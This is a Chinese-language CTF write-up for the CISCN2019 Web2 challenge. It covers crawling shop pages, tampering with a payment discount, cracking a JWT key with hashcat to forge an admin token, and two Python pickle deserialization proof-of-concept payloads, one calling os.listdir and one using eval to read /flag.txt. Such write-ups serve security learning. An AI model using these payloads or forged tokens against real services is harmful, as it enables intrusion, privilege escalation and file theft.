[CISCN2019 华北赛区 Day1 Web2]

目录

前言

涉及考点

部分记录


前言

第一次看到这题时没有思路,通过搜索相关WP并简单了解考点所涉及的知识后,通过解题来扩展自己的知识面

涉及考点

python爬虫,支付逻辑漏洞,cookie篡改,重放攻击,JWT破解,垂直越权,代码审计,python反序列化漏洞

部分记录

进入页面

观察翻页时URL的变化

 准备脚本来爬取lv6所在页面

 py代码如下

import requests
url = "http://79500e8a-019d-417f-8e10-0ac4054f4597.node4.buuoj.cn:81/shop?page="
for i in range(0,99999):
    nurl = url + str(i)
    response = requests.get(nurl)
    if "lv6.png" in response.text:
        print(i)
        break

得到结果 

注册账号登录 

 发现余额不足

 通过bp抓包修改折扣

身份验证 

 解码JWT

JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbGVhayJ9.oWfm4T4fIJkr0vVdwJItyOu4Eens51GuFjjzni8dTZg

hashcat 

-m   指定哈希类型
-a   指定攻击模式,有5中模式
    0 Straight(字典破解)
    1 Combination(组合破解)
    3 Brute-force(掩码暴力破解)
    6 Hybrid dict + mask(混合字典+掩码)
    7 Hybrid mask + dict(混合掩码+字典)
-o   输出文件
-stdout  指定基础文件
-r  指定规则文件
--force 强制进行破解
--show  显示破解结果
 
-V   打印出版本
-h   查看帮助

通过hashcat暴力破解得到key,构造新的JWT

进入如下页面 

 

查看源码寻找信息

下载相应的压缩包后解压进行代码审计 

Python Pickle反序列化漏洞 

 找到隐藏表单,修改前端代码

构造poc1

import pickle
import urllib
import os
class payload(object):
    def __reduce__(self):
       return (os.listdir,('/'))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

构造poc2

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

提交得到flag 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值